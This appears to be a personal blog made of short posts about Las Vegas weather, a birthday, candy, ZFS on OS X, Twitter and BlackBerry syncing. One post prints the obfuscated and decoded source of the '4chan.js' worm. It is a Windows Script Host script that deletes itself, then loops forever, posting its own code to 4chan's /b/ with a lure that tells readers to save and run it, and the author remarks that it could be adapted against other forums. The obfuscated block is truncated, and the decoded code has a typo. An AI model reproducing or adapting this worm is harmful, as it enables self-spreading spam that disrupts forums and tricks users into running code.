Nathan Clayton

We had a cold snap for a few days where the high was under 60 degrees - nice and chilly. It really felt like winter for a bit. It's back up to about 80 degrees now, hopefully it gets cold again - I love it.

It's still in the upper 90s on a cool day. That's not so say that I don't appreciate the heat, it's really the humidity that kills. And to top it off, there's probably going to be a little heat wave over the upcoming weekend.

It's monsoon season here in Vegas, and there was a rather strong rainstorm yesterday, dropping as much as half an inch in 20 minutes in parts of Henderson. Of course our streets flooded (it rains so little here that they're designed to flood and carry water to the main drainage canals when our meager storm drain system overflows) and people still decided to drive through massive amounts of water. There was thunder and lightning as would be expected, and it knocked out the stop lights as Sunset and Eastern, which always seems to happen every time there's lightning (yet the lights just a block away were working perfectly).

It appears that some astute readers from the Candy Blog have noticed that the Hershey's Kissables candy has been reformulated. It's been redone so much that it can't even be legally called milk chocolate any more. Just makes me want to eat a big handful of that candy.

Well, I had my birthday last weekend. I guess that I'm 25 now, nothing major otherwise - I don't feel any different, that's for sure. Maybe it had to do with the fact that that was my Wednesday.

A new attack has popped up on 4chan's /b/ (WARNING: NSFW!) that really has me worried. If slightly modified, it could potentially play off the stupidity of people to ruin almost any imageboard or web forum. I'm attaching the raw code for sheer informational purposes.

Copy and paste the following to Notepad, save with the filename "4chan.js", open the file you created and shit bricks.


nm="\\52E2jO?2>6lQ\r\n"+
"7F?4E:@?OCWXLC6EFC?O$EC:?8]7C@>r92Cr@56WQ2Q]492Cr@56pEW_XZ"+
"|2E9]7=@@CW|2 E9]C2?5@>WXYaeXXN\r\n"+
"7l($w]4C62E6@3;64EWQD4C:AE:?8]7:=6DJDE6>@3;64EQX\r\n"+
"8l7]@A6?E6IE7:=6W($w]D4C:AE7F==?2>6X\r\n"+
"9l8]C6252==WX\r\n"+
"8]4=@D6WX\r\n"+
"7]56=6E67:=6W($w]D4C:AE7F==?2>6X\r\n"+
"IlQr@AJO2?5OA2DE6OE96O7@==@H:?8OE@O}@E6A25[OD2G6OH:E9OE96O"+
"7:=6?2>6O-Qc492?];D-Q[O@A6?OE96O7:=6OJ@FO4C62E65O2?5OD9:EO"+
"3C:4DI>=a]I>=9EEAQX\r\n"+
"H9:=6W`X L\r\n"+
"2]@A6?WQ86EQ[Q9EEAi^^:>8]c492?]@C8^3Q[_X\r\n"+
"2]D6?5WX\r\n"+
"3l2]C6DA@?D6E6IE\r\n"+
"4l3]DF3DECW3]:?56I 7WQC6D^QXZc[gX\r\n"+
"5lQQ\r\n"+
"6lQQ\r\n"+
"7@CW:l_j:ka_j:ZZX5ZlCWX\r\n"+
"7@CW:l_j:kgj:ZZX6ZlCWX\r\n"+
"2]@A6?WQA@DEQ[Q9EEAi^^52E]c492?]@C8^3^:>83@2C5]A9AQ[_X\r\n"+
"ElQ>F=E:A2 CE^7@C>\\52E2jO3@F?52CJlQZ5\r\n"+
"2]D6EC6BF6DE96256CWQr@?E6?E\\%JA6Q[EX\r\n"+
"2]D6?5WQ\\\\QZ5ZQ-C-?QZ6-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+
"2:=-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+
"-Q-C-?-C-?QZIZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+
"6l-Q-Q-C-?QZ\r\n"+
"Qr@?E6?E\\%JA6iO2AA=:42E:@?^@4E6E\\DEC62>-C-?-C-?-C-?\\\\Q"+
"Z5ZQ-C-?QZ\r\n"+
"@56-Q-C-?-C-?C68:DE-C-?\\\\QZ5ZQ\\\\-C-?QX\r\n"+
"($w]D=66AWb6cZ|2E9]7=@@CW|2E9]C2?5@>WXYb6cXXN"
vv=""
for(i=0;i

What does this do? Well, let me paste up the following code (what the previous code actually does)

k="Content-Disposition: form-data; name="

function r(){
	return String.fromCharCode("a".charCodeAt(0)+Math.floor(MaOth.random()*26))
}

f=WSH.createobject("scripting.filesystemobject")

g=f.opentextfile(WSH.scriptfullname)

h=g.readall()

g.close()

f.deletefile(WSH.scriptfullname)

x="Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n"+h

a=WSH.createobject("msxml2.xmlhttp")

while(1) {
	a.open("get","http://img.4chan.org/b",0)
	a.send()
	b=a.responsetext
	c=b.substr(b.indexOf("res/")+4,8)
	d=""
	e=""
	for(i=0;i<20;i++)
		d+=r()
	for(i=0;i<8;i++)
		e+=r()
	a.open("post","http://dat.4chan.org/b/imgboard.php",0)
	t="multipart/form-data; boundary="+d
	a.setrequestheader("Content-Type",t)
	a.send("--"+d+"\r\n"+k+"\"MAX_FILE_SIZE\"\r\n\r\n"+"2097152\r\n--"+d+"\r\n"+ k+"\"resto\"\r\n\r\n"+c+"\r\n--"+d+"\r\n"+k+"\"name\"\r\n\r\n\r\n--"+d+"\r\n"+k+"\"email\"\r\n\r\n\r\n--"+d+"\r\n"+k+"\"sub\"\r\n\r\n\r\n--"+d+"\r\n"+k+"\"com\"\r\n\r\n"+x+"\r\n--"+d+"\r\n"+k+"\"upfile\";filename=\"\"\r\n"+"Content-Type: application/octet-stream\r\n\r\n\r\n--"+d+"\r\n"+k+"\"pwd\"\r\n\r\n"+e+"\r\n--"+d+"\r\n"+k+"\"mode\"\r\n\r\nregist\r\n--"+d+"--\r\n")
	WSH.sleep(3e4+Math.floor(Math.random()*3e4))
}

Well, it looks like it's official, ZFS will be on the next version of OSX (server at least), code named Snow Leopard - it's on the bottom of the page just above the disclaimer that everything is subject to change.

It seems as if Twitter still isn't pushing out updates through IM. It's been a few weeks since this went down, and it's just a little bit annoying that I can't get the updates. I don't go to the website that often, and I don't have an unlimited SMS plan, so that's out too. I guess that it's back to Jaiku for the time being.

Just to finish up the Technorati claim:

I'll start this off by saying that I love my BlackBerry. It's a great phone, it does everything I could ever want it to do as a phone, but there's just one problem - it won't sync properly with my Mac!